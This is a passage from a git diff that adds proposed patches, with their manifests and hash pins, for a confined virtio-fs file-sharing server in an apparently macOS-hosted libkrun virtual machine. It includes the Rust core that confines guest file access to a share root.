4. Fatal-stop policy: pin overflow, a stale queue, a long freeze all stop the worker with 77; decide whether a failed request should degrade to `EIO`. 5. The shipped release profile has overflow checks on and debug assertions off; G4 should run on it. -6. Independent code review of all 20 patches before any run; every VM or live gate needs the owner's approval. +6. Independent code review of all 23 patches before any run; every VM or live gate needs the owner's approval. +7. 0024 (the confined virtio-fs server core) is reached only through 0026's share devices. Its decisions (ownership changes refused, MKNOD always `EPERM`, the revoke answer for requests that take no reply, + `O_NOFOLLOW_ANY` in place of `O_NOFOLLOW`) are listed in its pull request and need review with it. +8. 0025 (R15, R16) is reached only through 0026's share devices too. Its decisions need review with it, in particular two where the design's literal + text would break a guest `git submodule update`: `core.worktree` is admitted in a submodule's own git directory when it names a + work tree inside the share outside every `.git`, and a gitfile may name a git directory still to be made below `modules/` or + `worktrees/` (git writes the gitfile first). A guest-made worktree of a Mac-made repository (which carries `hooks/*.sample`) is + refused at its `commondir`, as the design's H5 re-validation says. The quarantine flag word `0081` is checked at G7. +9. 0026 (the share devices): an over-bound or malformed fs chain is terminal (exit 77), as a malformed block chain; a revocation + before the start, or while the device is reset, is closed by the revoking thread under the share's slot lock; no `EVENT_IDX`; + the decisions are listed in its pull request. ## Licences diff --git a/apple/Cowork/WinterCoworkLibkrun/expected-hashes.json b/apple/Cowork/WinterCoworkLibkrun/expected-hashes.json index 0d759f609..c32f92e8d 100644 --- a/apple/Cowork/WinterCoworkLibkrun/expected-hashes.json +++ b/apple/Cowork/WinterCoworkLibkrun/expected-hashes.json @@ -1,10 +1,10 @@ { "_comment": "Hash pins of the composed queue and the production archive. The archive is rebuilt only when a patch or the upstream pin changes; scripts/build_archive.py fails if a rebuild differs from these values.", - "composedSourceDiffSha256": "3826aa68ee08b23ed046f8ec5a8df7f6271969747364dd63b0bd12f27013ec01", + "composedSourceDiffSha256": "7ec7dd847bc09373d02ffe23894ca9f6ddebf2c992f8dbd2f251127823be5f24", "productionArchive": { "features": "blk,cowork-production-only", - "rawSha256": "ca876b1268696c39a97f9591727ad7f818354a08a5b837fe589c22823809a40c", - "strippedSha256": "e4433efe447fd123bb72989d024013d9c913d380d2a1190bc3e181d1f69a89b3", + "rawSha256": "e04b4dd70f199eb206c9508e1f714f3dc2cee05802fee47ef666875c9e74cd20", + "strippedSha256": "06559a845e8815cebd9f28e65029c8696129af00e7e336c366ba3c6e52fd6f91", "linkThis": "stripped" }, "exports": { @@ -73,16 +73,19 @@ "krun_start_enter" ], "cowork": [ + "krun_cowork_add_share_v1", "krun_cowork_create_runtime_port_v1", "krun_cowork_enable_profile_v1", "krun_cowork_get_flush_counters_v1", "krun_cowork_get_pin_counters_v1", + "krun_cowork_next_share_event_v1", + "krun_cowork_revoke_share_v1", "krun_cowork_set_exit_hook_v1", "krun_cowork_set_workspace_disks_v1", "krun_cowork_validate_profile_v1" ], "upstreamCount": 62, - "coworkCount": 7, - "totalCount": 69 + "coworkCount": 10, + "totalCount": 72 } } diff --git a/apple/Cowork/WinterCoworkLibkrun/patch-queue.json b/apple/Cowork/WinterCoworkLibkrun/patch-queue.json index cda6457ea..6ad2caa7d 100644 --- a/apple/Cowork/WinterCoworkLibkrun/patch-queue.json +++ b/apple/Cowork/WinterCoworkLibkrun/patch-queue.json @@ -1,5 +1,5 @@ { - "_comment": "basePatches (0004-0013) are the admitted two-disk fixture queue, applied unchanged; newPatches (0014-0023) are the production profile. Every patch applies to the previous composed state, so the queue is a stack.", + "_comment": "basePatches (0004-0013) are the admitted two-disk fixture queue, applied unchanged; newPatches (0014-0026) are the production profile. Every patch applies to the previous composed state, so the queue is a stack.", "status": "native-source-only-independent-review-required", "profile": "n2-production-admitted-raw-pair-and-generic-runtime-port", "basePatches": [ @@ -172,6 +172,55 @@ ], "purpose": "tests that run the exit sequence for real in a child process (watchdog over a hung observer, status by reason, one claimant), the final flush on the real admitted-storage path (sync_all counted and failed through a test seam, real result, stop-fd wake), and the terminal-fault notifier; finish takes its budget as a parameter (production passes 20 s)", "patchSha256": "0877eaec2bfce5a0b59915c1eb3c61f29fdf20e06ce83cfead1e44eb66ab83fc" + }, + { + "patchFile": "patches/0024-proposed-confined-virtiofs-server-core.patch", + "allowedFiles": [ + "src/devices/src/virtio/fs/macos/confined/mod.rs", + "src/devices/src/virtio/fs/macos/confined/names.rs", + "src/devices/src/virtio/fs/macos/confined/sys.rs", + "src/devices/src/virtio/fs/macos/confined/tests.rs", + "src/devices/src/virtio/fs/macos/mod.rs", + "src/devices/src/virtio/fs/server.rs" + ], + "purpose": "the confined virtio-fs server core for Cowork shares (SH2 R0-R13, the server halves of R6 and R11): closed opcode allowlist with an ENOSYS fallthrough and a confined INIT (max_pages 256), checked names, descriptor-relative host calls with O_NOFOLLOW_ANY | O_RESOLVE_BENEATH and (dev, ino) confirmation, a directory LRU of 1,024, EXDEV across devices, O_UNIQUE on the Winter shares, masked modes, read-only refusals, 4,096 handles and 262,144 nodes, directory handles that read their own stream (no listing cache), a revoke flag and an owner-only close, F_FULLFSYNC on the Winter shares; FUSE-message harness tests. Not wired: no device, entry point or gate", + "patchSha256": "c4a1016dd03cc45d2fa91742a10118f43251ea85d32a6907b3abcb2cfe1ccb85" + }, + { + "patchFile": "patches/0025-proposed-confined-virtiofs-git-rules-and-quarantine.patch", + "allowedFiles": [ + "src/devices/src/virtio/fs/macos/confined/git.rs", + "src/devices/src/virtio/fs/macos/confined/git_tests.rs", + "src/devices/src/virtio/fs/macos/confined/gitconfig.rs", + "src/devices/src/virtio/fs/macos/confined/mod.rs", + "src/devices/src/virtio/fs/macos/confined/notice.rs", + "src/devices/src/virtio/fs/macos/confined/quarantine.rs", + "src/devices/src/virtio/fs/macos/confined/sys.rs", + "src/devices/src/virtio/fs/macos/confined/tests.rs" + ], + "purpose": "the git rules and the quarantine tag of the confined virtio-fs server (SH2 R15 as revised for H1-H5, R16): on read-write folder sources, folded and (dev, ino) protected names (_PC_CASE_SENSITIVE), git directories recognised anywhere and none new outside a .git chain, git directories never moved or removed and no directory renamed into the zone, the creation-order check, pointer files buffered until FLUSH/RELEASE and checked, hooks immutable, config only through a checked config.lock rename (strict parser, allowlist, suffix backstop), tracked hooks and include targets discovered before serving, watched names reported to a bounded share_notice sink; on every read-write share, com.apple.quarantine on CREATE, MKDIR, an exec-bit SETATTR and a write-open or truncate of an executable (a tag failure is EIO, a new node removed); FUSE-message tests. Not wired: no device, entry point or gate", + "patchSha256": "c66073efe6319cb9173a6f3d0c6611480baf1491ce1e52516308c1590ded52af" + }, + { + "patchFile": "patches/0026-proposed-guarded-fs-device-shares-abi-gate.patch", + "allowedFiles": [ + "include/libkrun.h", + "src/devices/src/cowork_counters.rs", + "src/devices/src/virtio/fs/cowork.rs", + "src/devices/src/virtio/fs/cowork_tests.rs", + "src/devices/src/virtio/fs/device.rs", + "src/devices/src/virtio/fs/mod.rs", + "src/devices/src/workspace_disks.rs", + "src/libkrun/src/cowork_production_gate_matrix_tests.rs", + "src/libkrun/src/cowork_production_profile_tests.rs", + "src/libkrun/src/cowork_production_shares_tests.rs", + "src/libkrun/src/lib.rs", + "src/vmm/src/builder.rs", + "src/vmm/src/resources.rs", + "src/vmm/src/vmm_config/fs.rs" + ], + "purpose": "the guarded fs device of the Cowork shares (SH2 R6, R10, R11 device half, R13 exit path, R14): one virtio-fs device per share serving the confined server through a bounce copy, registered with the reclaim Access, ring pins and per-request pins, freeze honoured, chains over max_pages + 4 descriptors or 1,048,576 + 8,192 bytes (4,096 on the high-priority queue) refused before pinning, and so is a chain whose writable area cannot hold the 16-byte FUSE out header (a FORGET or BATCH_FORGET with no writable descriptor on the high-priority queue excepted), one worker thread, no shared-memory region, no EVENT_IDX; the budget from the actual share count (3 + S devices, 48 + 4 S pins, 8 MiB + 1,114,136 S bytes); revocation closed by the device thread and reported on a share-event queue; krun_cowork_add_share_v1, krun_cowork_revoke_share_v1 and krun_cowork_next_share_event_v1; the production gate admits r.fs only as built by krun_cowork_add_share_v1; gate matrix rows with shares present; the share_notice sink of the confined server (0025) forwarded onto the share-event queue", + "patchSha256": "f4ed7ef2d32fdd0fad578e6fee136fc1dd38d287ee86aeb70956d69d99a5942c" } ], "allAddedFiles": [ @@ -203,7 +252,19 @@ "src/devices/src/cowork_counters.rs", "src/libkrun/src/cowork_production_counters_tests.rs", "src/libkrun/src/cowork_production_exit_tests.rs", - "src/vmm/src/cowork_exit.rs" + "src/vmm/src/cowork_exit.rs", + "src/devices/src/virtio/fs/macos/confined/mod.rs", + "src/devices/src/virtio/fs/macos/confined/names.rs", + "src/devices/src/virtio/fs/macos/confined/sys.rs", + "src/devices/src/virtio/fs/macos/confined/tests.rs", + "src/devices/src/virtio/fs/macos/confined/git.rs", + "src/devices/src/virtio/fs/macos/confined/git_tests.rs", + "src/devices/src/virtio/fs/macos/confined/gitconfig.rs", + "src/devices/src/virtio/fs/macos/confined/notice.rs", + "src/devices/src/virtio/fs/macos/confined/quarantine.rs", + "src/devices/src/virtio/fs/cowork.rs", + "src/devices/src/virtio/fs/cowork_tests.rs", + "src/libkrun/src/cowork_production_shares_tests.rs" ], "forbiddenAddedText": [ "register_mmio_gpio(", @@ -244,7 +305,12 @@ "maxDevices": 3, "maxPins": 48, "maxPinnedBytes": 8388608, - "shutdownGpio": false + "shutdownGpio": false, + "maxShares": 12, + "shareVirtioId": 26, + "maxDevicesPerShare": 1, + "pinsPerShare": 4, + "pinnedBytesPerShare": 1114136 }, "productionReady": false, "vmStarted": false, diff --git a/apple/Cowork/WinterCoworkLibkrun/patches/0024-proposed-confined-virtiofs-server-core.patch b/apple/Cowork/WinterCoworkLibkrun/patches/0024-proposed-confined-virtiofs-server-core.patch new file mode 100644 index 000000000..a8cee07bb --- /dev/null +++ b/apple/Cowork/WinterCoworkLibkrun/patches/0024-proposed-confined-virtiofs-server-core.patch @@ -0,0 +1,3423 @@ +diff --git a/src/devices/src/virtio/fs/macos/confined/mod.rs b/src/devices/src/virtio/fs/macos/confined/mod.rs +new file mode 100644 +index 0000000..5e0a0e6 +--- /dev/null ++++ b/src/devices/src/virtio/fs/macos/confined/mod.rs +@@ -0,0 +1,1252 @@ ++// The confined virtio-fs server for Cowork shares (SH2, requirements R0-R13 of the N2 extensions design). ++// ++// One `ConfinedFs` serves one share root, borrowed by the worker and duplicated by the caller. Every host ++// operation is descriptor-relative with a single checked name and never follows a symbolic link (R1-R3); ++// a node on another device is refused (R4); links and renames stay inside this device's table, the Winter ++// shares serve only single-link nodes and refuse LINK (R5); modes are masked and ownership is simplified ++// (R7); a read-only share refuses every mutation (R8); no special file is created or opened (R9); handles ++// and directory descriptors are bounded (R10); a revoke switch stops every request and only the owner of ++// the server closes the descriptors (R11); caching is `Auto` with 1 s timeouts (R12); fsync is ++// `F_FULLFSYNC` on the Winter shares (R13). The opcode allowlist and the INIT negotiation (R0, R6) are the ++// confined dispatch of `server.rs` (`Server::handle_confined_message`). ++// ++// Extension points: every mutating operation passes one chokepoint, `ConfinedFs::admit(&Mutation)`, which ++// applies the read-only refusal and then `ConfinedHooks::admit`; every new regular file or directory passes ++// `ConfinedHooks::created` with its descriptor before the reply, and a failure removes the new node and ++// answers `EIO`. ++ ++mod names; ++mod sys; ++#[cfg(test)] ++mod tests; ++ ++pub use names::{check_name, is_hfs_ignorable, NAME_MAX}; ++pub use sys::lx; ++ ++use std::collections::HashMap; ++use std::ffi::{CStr, CString}; ++use std::fs::File; ++use std::io; ++use std::num::NonZeroUsize; ++use std::os::fd::{AsFd, AsRawFd, BorrowedFd, IntoRawFd, OwnedFd, RawFd}; ++use std::sync::atomic::{AtomicBool, AtomicU64, Ordering}; ++use std::sync::{Arc, Mutex, MutexGuard}; ++use std::time::Duration; ++ ++use lru::LruCache; ++ ++use crate::virtio::bindings; ++use crate::virtio::fs::filesystem::{ ++ Context, DirEntry, Entry, Extensions, FileSystem, FsOptions, OpenOptions, SetattrValid, ++ ZeroCopyReader, ZeroCopyWriter, ++}; ++use crate::virtio::fs::fuse; ++use crate::virtio::fs::server::ConfinedDispatch; ++ ++use sys::{err, Host}; ++ ++/// R10: open handles per device (files and directories); beyond that the answer is `ENFILE`. ++pub const MAX_HANDLES: usize = 4096; ++/// R10: nodes the table holds per device (every node the guest has looked up and not forgotten); a new ++/// node beyond that is refused with `ENFILE`. ++pub const MAX_NODES: usize = 262_144; ++/// R2: directory descriptors held per device (an LRU; the root is held apart). ++pub const DIR_LRU: usize = 1024; ++/// R12: entry and attribute timeouts. ++pub const TIMEOUT: Duration = Duration::from_secs(1); ++/// R7: modes created or changed on the host keep only these bits (no group/other write, no setuid, ++/// setgid or sticky bit). ++pub const MODE_MASK: u32 = 0o777 & !0o022; ++/// The longest symbolic-link text a guest may create, in bytes (`PATH_MAX` less the NUL). ++pub const SYMLINK_MAX: usize = libc::PATH_MAX as usize - 1; ++ ++const ROOT_ID: u64 = fuse::ROOT_ID; ++// Linux open flags (the guest's). ++const LINUX_ACCMODE: u32 = 0o3; ++const LINUX_O_TRUNC: u32 = bindings::LINUX_O_TRUNC as u32; ++const LINUX_O_APPEND: u32 = bindings::LINUX_O_APPEND as u32; ++const LINUX_RENAME_NOREPLACE: u32 = bindings::LINUX_RENAME_NOREPLACE as u32; ++const LINUX_RENAME_EXCHANGE: u32 = bindings::LINUX_RENAME_EXCHANGE as u32; ++const LINUX_SEEK_DATA: u32 = 3; ++const LINUX_SEEK_HOLE: u32 = 4; ++const LINUX_W_OK: u32 = 2; ++ ++/// The three share flags of the ABI (`krun_cowork_add_share_v1`): bit 0 read-only, bit 1 Winter share ++/// (R5 `O_UNIQUE`, R13 `F_FULLFSYNC`), bit 2 folder rules (R15, a later patch). Every other bit is refused. ++#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)] ++pub struct ShareFlags { ++ pub read_only: bool, ++ pub winter_share: bool, ++ pub folder_rules: bool, ++} ++ ++impl ShareFlags { ++ pub const READ_ONLY: u32 = 1 << 0; ++ pub const WINTER_SHARE: u32 = 1 << 1; ++ pub const FOLDER_RULES: u32 = 1 << 2; ++ ++ /// Unknown bits, and the folder rules on a Winter share (they are for folder sources only), are `EINVAL`. ++ pub fn from_abi(bits: u32) -> io::Result { ++ if bits & !(Self::READ_ONLY | Self::WINTER_SHARE | Self::FOLDER_RULES) != 0 { ++ return Err(err(lx::EINVAL)); ++ } ++ let flags = ShareFlags { ++ read_only: bits & Self::READ_ONLY != 0, ++ winter_share: bits & Self::WINTER_SHARE != 0, ++ folder_rules: bits & Self::FOLDER_RULES != 0, ++ }; ++ if flags.winter_share && flags.folder_rules { ++ return Err(err(lx::EINVAL)); ++ } ++ Ok(flags) ++ } ++} ++ ++/// One share: the root descriptor (owned by the server from here on; the caller passes a duplicate of the ++/// borrowed one), its flags and the canonical guest mount path (kept for R15 gitfiles). ++pub struct ConfinedConfig { ++ pub root: OwnedFd, ++ pub flags: ShareFlags, ++ pub guest_path: CString, ++} ++ ++/// A mutating request, as the chokepoint sees it (names already checked by R1). ++#[derive(Debug)] ++pub enum Mutation<'a> { ++ Create { parent: u64, name: &'a CStr }, ++ Mkdir { parent: u64, name: &'a CStr }, ++ Mknod { parent: u64, name: &'a CStr }, ++ Symlink { parent: u64, name: &'a CStr, target: &'a CStr }, ++ Link { node: u64, parent: u64, name: &'a CStr }, ++ Unlink { parent: u64, name: &'a CStr }, ++ Rmdir { parent: u64, name: &'a CStr }, ++ Rename { old_parent: u64, old_name: &'a CStr, new_parent: u64, new_name: &'a CStr, flags: u32 }, ++ Setattr { node: u64, valid: SetattrValid, mode: u32 }, ++ OpenWrite { node: u64, truncate: bool }, ++ Write { node: u64, handle: u64 }, ++ Fallocate { node: u64, handle: u64 }, ++} ++ ++#[derive(Clone, Copy, Debug, PartialEq, Eq)] ++pub enum CreatedKind { ++ File, ++ Directory, ++} ++ ++/// Policy hooks on the mutating operations (the git rules and the quarantine tag plug in here). Both ++/// run on the device thread inside the request. ++pub trait ConfinedHooks: Send + Sync { ++ /// Called after the read-only check, before any host change; an error refuses the request. ++ fn admit(&self, _op: &Mutation) -> io::Result<()> { ++ Ok(()) ++ } ++ /// Called with the new node's descriptor before the reply; an error removes the node and answers `EIO`. ++ fn created(&self, _fd: BorrowedFd<'_>, _kind: CreatedKind) -> io::Result<()> { ++ Ok(()) ++ } ++} ++ ++/// No policy beyond R0-R13. ++pub struct NoHooks; ++impl ConfinedHooks for NoHooks {} ++ ++/// The per-device revoke flag (R11). Any thread may set it; the device thread reads it at the entry of ++/// every request, and only the server's owner closes the descriptors (`ConfinedFs::close_all`). ++#[derive(Clone, Debug, Default)] ++pub struct RevokeSwitch(Arc); ++ ++impl RevokeSwitch { ++ pub fn revoke(&self) { ++ self.0.store(true, Ordering::SeqCst); ++ } ++ pub fn is_revoked(&self) -> bool { ++ self.0.load(Ordering::SeqCst) ++ } ++} ++ ++#[derive(Clone, Copy, Debug, PartialEq, Eq)] ++enum Kind { ++ Dir, ++ File, ++ Symlink, ++ Other, ++} ++ ++fn kind_of(mode: libc::mode_t) -> Kind { ++ match mode & libc::S_IFMT { ++ libc::S_IFDIR => Kind::Dir, ++ libc::S_IFREG => Kind::File, ++ libc::S_IFLNK => Kind::Symlink, ++ _ => Kind::Other, ++ } ++} ++ ++struct Node { ++ dev: u64, ++ ino: u64, ++ kind: Kind, ++ /// The parent's node id (0 for the root) and the last name: a non-directory is reopened through them. ++ parent: u64, ++ name: CString, ++ nlookup: u64, ++ /// Nodes whose `parent` is this one; a directory stays in the table while it has any. ++ children: u64, ++} ++ ++#[derive(Clone)] ++struct DirItem { ++ ino: u64, ++ name: Vec, ++ type_: u8, ++} ++ ++/// A directory handle's own stream (R10): no listing is cached. The handle holds its `DIR` (one buffer) ++/// and at most one entry it read but could not hand out yet; entry `n` has the FUSE offset `n + 1`. A ++/// request at the stream's position continues it; any other offset rewinds and skips forward. ++struct DirStream { ++ dir: std::ptr::NonNull, ++ /// Index of the entry the stream hands out next. ++ next: u64, ++ /// Entry `next`, already read from the stream. ++ pending: Option, ++ /// Rewinds so far: paging forward through a directory never rewinds. ++ rewinds: u64, ++} ++ ++// SAFETY: the stream is only used under the state mutex, by one thread at a time. ++unsafe impl Send for DirStream {} ++ ++impl DirStream { ++ fn new(fd: OwnedFd) -> io::Result { ++ let raw = fd.into_raw_fd(); ++ // SAFETY: fdopendir takes the descriptor on success; on failure it is closed here. ++ let dir = unsafe { libc::fdopendir(raw) }; ++ match std::ptr::NonNull::new(dir) { ++ Some(dir) => Ok(DirStream { dir, next: 0, pending: None, rewinds: 0 }), ++ None => { ++ let e = sys::host_err(); ++ unsafe { libc::close(raw) }; ++ Err(e) ++ } ++ } ++ } ++ ++ fn fd(&self) -> RawFd { ++ unsafe { libc::dirfd(self.dir.as_ptr()) } ++ } ++ ++ fn read_raw(&mut self) -> io::Result> { ++ loop { ++ nix::errno::Errno::clear(); ++ // SAFETY: the stream is open; the entry is copied before the next call. ++ let dentry = unsafe { libc::readdir(self.dir.as_ptr()) }; ++ if dentry.is_null() { ++ return match nix::errno::Errno::last_raw() { ++ 0 => Ok(None), ++ _ => Err(sys::host_err()), ++ }; ++ } ++ let item = unsafe { ++ let len = usize::from((*dentry).d_namlen); ++ let name = std::slice::from_raw_parts((*dentry).d_name.as_ptr().cast::(), len); ++ DirItem { ino: (*dentry).d_ino, name: name.to_vec(), type_: (*dentry).d_type } ++ }; ++ if item.name != b"." && item.name != b".." { ++ return Ok(Some(item)); ++ } ++ } ++ } ++ ++ /// Positions the stream at entry `offset`. ++ fn seek(&mut self, offset: u64) -> io::Result<()> { ++ if offset < self.next { ++ unsafe { libc::rewinddir(self.dir.as_ptr()) }; ++ self.next = 0; ++ self.pending = None; ++ self.rewinds += 1; ++ } ++ while self.next < offset { ++ if self.pending.take().is_none() && self.read_raw()?.is_none() { ++ break; ++ } ++ self.next += 1; ++ } ++ Ok(()) ++ } ++ ++ /// Entry `next` (None at the end), without handing it out. ++ fn peek(&mut self) -> io::Result> { ++ if self.pending.is_none() { ++ self.pending = self.read_raw()?; ++ } ++ Ok(self.pending.clone()) ++ } ++ ++ /// Entry `next` was handed out. ++ fn advance(&mut self) { ++ self.pending = None; ++ self.next += 1; ++ } ++} ++ ++impl Drop for DirStream { ++ fn drop(&mut self) { ++ unsafe { libc::closedir(self.dir.as_ptr()) }; ++ } ++} ++ ++enum Body { ++ File(File), ++ Dir(DirStream), ++} ++ ++struct Handle { ++ node: u64, ++ body: Body, ++ writable: bool, ++} ++ ++impl Handle { ++ fn fd(&self) -> RawFd { ++ match &self.body { ++ Body::File(file) => file.as_raw_fd(), ++ Body::Dir(dir) => dir.fd(), ++ } ++ } ++} ++ ++struct State { ++ root: Option>, ++ nodes: HashMap, ++ ids: HashMap<(u64, u64), u64>, ++ next_node: u64, ++ dirs: LruCache>, ++ handles: HashMap, ++ next_handle: u64, ++ /// R10: the node-table cap (`MAX_NODES`; smaller only in tests). ++ node_cap: usize, ++} ++ ++/// The confined filesystem of one share. ++pub struct ConfinedFs { ++ state: Mutex, ++ host: Host, ++ flags: ShareFlags, ++ root_dev: u64, ++ root_ino: u64, ++ guest_path: CString, ++ revoke: RevokeSwitch, ++ hooks: Box, ++ full_syncs: AtomicU64, ++ plain_syncs: AtomicU64, ++} ++ ++fn dev_ino(st: &libc::stat) -> (u64, u64) { ++ (st.st_dev as u64, st.st_ino) ++} ++ ++impl ConfinedFs { ++ /// Takes ownership of the root descriptor, which must be a directory. ++ pub fn new(cfg: ConfinedConfig) -> io::Result { ++ let st = sys::fstat(&cfg.root)?; ++ if kind_of(st.st_mode) != Kind::Dir { ++ return Err(err(lx::ENOTDIR)); ++ } ++ let (dev, ino) = dev_ino(&st); ++ let mut nodes = HashMap::new(); ++ nodes.insert( ++ ROOT_ID, ++ Node { dev, ino, kind: Kind::Dir, parent: 0, name: CString::default(), nlookup: 1, children: 0 }, ++ ); ++ let mut ids = HashMap::new(); ++ ids.insert((dev, ino), ROOT_ID); ++ Ok(ConfinedFs { ++ state: Mutex::new(State { ++ root: Some(Arc::new(cfg.root)), ++ nodes, ++ ids, ++ next_node: ROOT_ID + 1, ++ dirs: LruCache::new(NonZeroUsize::new(DIR_LRU).unwrap()), ++ handles: HashMap::new(), ++ next_handle: 1, ++ node_cap: MAX_NODES, ++ }), ++ host: Host { unique: cfg.flags.winter_share }, ++ flags: cfg.flags, ++ root_dev: dev, ++ root_ino: ino, ++ guest_path: cfg.guest_path, ++ revoke: RevokeSwitch::default(), ++ hooks: Box::new(NoHooks), ++ full_syncs: AtomicU64::new(0), ++ plain_syncs: AtomicU64::new(0), ++ }) ++ } ++ ++ pub fn with_hooks(mut self, hooks: Box) -> Self { ++ self.hooks = hooks; ++ self ++ } ++ ++ pub fn flags(&self) -> ShareFlags { ++ self.flags ++ } ++ ++ pub fn guest_path(&self) -> &CStr { ++ &self.guest_path ++ } ++ ++ pub fn root_identity(&self) -> (u64, u64) { ++ (self.root_dev, self.root_ino) ++ } ++ ++ /// A handle on this device's revoke flag, for the thread that receives the revocation. ++ pub fn revoke_switch(&self) -> RevokeSwitch { ++ self.revoke.clone() ++ } ++ ++ /// Descriptors the server holds: the root, the directory LRU and every open handle. ++ pub fn open_descriptors(&self) -> usize { ++ let st = self.lock(); ++ st.root.is_some() as usize + st.dirs.len() + st.handles.len() ++ } ++ ++ /// (`F_FULLFSYNC` calls, `fsync` calls) so far (R13). ++ pub fn sync_counts(&self) -> (u64, u64) { ++ (self.full_syncs.load(Ordering::Relaxed), self.plain_syncs.load(Ordering::Relaxed)) ++ } ++ ++ /// R11: sets the revoke flag and closes every descriptor (root, directory LRU, handles). It takes ++ /// `&mut self`, so only the owner of the server (the device thread) can call it, never while a request ++ /// runs. Returns how many descriptors it closed. ++ pub fn close_all(&mut self) -> usize { ++ self.revoke.revoke(); ++ let st = self.state.get_mut().unwrap_or_else(|e| e.into_inner()); ++ let closed = st.root.take().is_some() as usize + st.dirs.len() + st.handles.len(); ++ st.dirs.clear(); ++ st.handles.clear(); ++ closed ++ } ++ ++ fn lock(&self) -> MutexGuard<'_, State> { ++ self.state.lock().unwrap_or_else(|e| e.into_inner()) ++ } ++ ++ fn writable(&self) -> io::Result<()> { ++ if self.flags.read_only { ++ return Err(err(lx::EROFS)); ++ } ++ Ok(()) ++ } ++ ++ /// The one chokepoint of every mutating operation: read-only first (R8), then the policy hooks. ++ fn admit(&self, op: &Mutation) -> io::Result<()> { ++ self.writable()?; ++ self.hooks.admit(op) ++ } ++ ++ fn simplified(&self, ctx: &Context, mut st: libc::stat) -> bindings::stat64 { ++ // R7: LinuxSimplified; the guest sees every file as owned by the caller. ++ st.st_uid = ctx.uid; ++ st.st_gid = ctx.gid; ++ st ++ } ++ ++ fn entry(&self, ctx: &Context, id: u64, st: libc::stat) -> Entry { ++ Entry { ++ inode: id, ++ generation: 0, ++ attr: self.simplified(ctx, st), ++ // R4: ATTR_SUBMOUNT is never announced. ++ attr_flags: 0, ++ attr_timeout: TIMEOUT, ++ entry_timeout: TIMEOUT, ++ } ++ } ++ ++ fn confirm(st: &libc::stat, node: &Node) -> io::Result<()> { ++ // R2: a reopened node is the node the table holds, by (dev, ino). ++ if dev_ino(st) != (node.dev, node.ino) { ++ return Err(err(lx::ESTALE)); ++ } ++ Ok(()) ++ } ++ ++ fn same_device(&self, st: &libc::stat) -> io::Result<()> { ++ // R4: nothing on another device (a mount point inside the share) is ever reachable. ++ if st.st_dev as u64 != self.root_dev { ++ return Err(err(lx::EXDEV)); ++ } ++ Ok(()) ++ } ++ ++ /// Opens a directory below `parent` and confirms it is (dev, ino). ++ fn open_dir_at(&self, parent: RawFd, name: &CStr, dev: u64, ino: u64) -> io::Result { ++ let fd = self.host.openat(parent, name, libc::O_RDONLY | libc::O_DIRECTORY | libc::O_NONBLOCK, 0)?; ++ let st = sys::fstat(&fd)?; ++ if dev_ino(&st) != (dev, ino) { ++ return Err(err(lx::ESTALE)); ++ } ++ self.same_device(&st)?; ++ Ok(fd) ++ } ++ ++ /// The held descriptor of a directory node, re-resolved from its parent chain when the LRU evicted it. ++ fn dir_fd(&self, st: &mut State, id: u64) -> io::Result> { ++ let root = st.root.clone().ok_or_else(|| err(lx::EACCES))?; ++ if id == ROOT_ID { ++ return Ok(root); ++ } ++ let node = st.nodes.get(&id).ok_or_else(|| err(lx::ESTALE))?; ++ if node.kind != Kind::Dir { ++ return Err(err(lx::ENOTDIR)); ++ } ++ if let Some(fd) = st.dirs.get(&id) { ++ return Ok(fd.clone()); ++ } ++ let mut chain = vec![id]; ++ let mut current = node.parent; ++ let mut base = loop { ++ if current == ROOT_ID { ++ break root; ++ } ++ if let Some(fd) = st.dirs.get(¤t) { ++ break fd.clone(); ++ } ++ if chain.len() > st.nodes.len() { ++ return Err(err(lx::ESTALE)); ++ } ++ chain.push(current); ++ current = st.nodes.get(¤t).ok_or_else(|| err(lx::ESTALE))?.parent; ++ }; ++ for child in chain.into_iter().rev() { ++ let node = &st.nodes[&child]; ++ let fd = Arc::new(self.open_dir_at(base.as_raw_fd(), &node.name, node.dev, node.ino)?); ++ st.dirs.put(child, fd.clone()); ++ base = fd; ++ } ++ Ok(base) ++ } ++ ++ /// Reopens a regular-file node (callers check the kind) through its parent's descriptor and last name ++ /// (R2): `O_NONBLOCK` until the (dev, ino) check, never `O_CREAT` or `O_TRUNC`. ++ fn open_file(&self, st: &mut State, id: u64, access: i32) -> io::Result { ++ let node = st.nodes.get(&id).ok_or_else(|| err(lx::ESTALE))?; ++ let (parent, name) = (node.parent, node.name.clone()); ++ let pfd = self.dir_fd(st, parent)?; ++ let fd = self.host.openat(pfd.as_raw_fd(), &name, access | libc::O_NONBLOCK, 0)?; ++ let fst = sys::fstat(&fd)?; ++ // The same (dev, ino) is the same regular file, so O_NONBLOCK can go. ++ Self::confirm(&fst, &st.nodes[&id])?; ++ sys::clear_nonblock(fd.as_raw_fd())?; ++ Ok(fd) ++ } ++ ++ /// A fresh descriptor on a directory node (for a directory handle), confirmed by (dev, ino). ++ fn open_dir_fresh(&self, st: &mut State, id: u64) -> io::Result { ++ let dfd = self.dir_fd(st, id)?; ++ let node = &st.nodes[&id]; ++ self.open_dir_at(dfd.as_raw_fd(), c".", node.dev, node.ino) ++ } ++ ++ fn stat_node(&self, st: &mut State, id: u64) -> io::Result { ++ let node = st.nodes.get(&id).ok_or_else(|| err(lx::ESTALE))?; ++ if node.kind == Kind::Dir { ++ let fd = self.dir_fd(st, id)?; ++ let s = sys::fstat_raw(fd.as_raw_fd())?; ++ Self::confirm(&s, &st.nodes[&id])?; ++ return Ok(s); ++ } ++ let (parent, name) = (node.parent, node.name.clone()); ++ let pfd = self.dir_fd(st, parent)?; ++ let s = self.host.fstatat(pfd.as_raw_fd(), &name)?; ++ Self::confirm(&s, &st.nodes[&id])?; ++ Ok(s) ++ } ++ ++ /// Records a looked-up or created node and counts one lookup. ++ fn insert(&self, st: &mut State, parent: u64, name: &CStr, s: &libc::stat) -> io::Result { ++ let key = dev_ino(s); ++ if let Some(&id) = st.ids.get(&key) { ++ if id != ROOT_ID { ++ let old_parent = st.nodes[&id].parent; ++ if old_parent != parent { ++ if let Some(p) = st.nodes.get_mut(&old_parent) { ++ p.children -= 1; ++ } ++ if let Some(p) = st.nodes.get_mut(&parent) { ++ p.children += 1; ++ } ++ } ++ let node = st.nodes.get_mut(&id).unwrap(); ++ node.parent = parent; ++ node.name = name.to_owned(); ++ } ++ st.nodes.get_mut(&id).unwrap().nlookup += 1; ++ return Ok(id); ++ } ++ // R10: the table is bounded; a full table refuses a new node and never evicts a known one. ++ if st.nodes.len() >= st.node_cap { ++ return Err(err(lx::ENFILE)); ++ } ++ let id = st.next_node; ++ st.next_node += 1; ++ st.nodes.insert( ++ id, 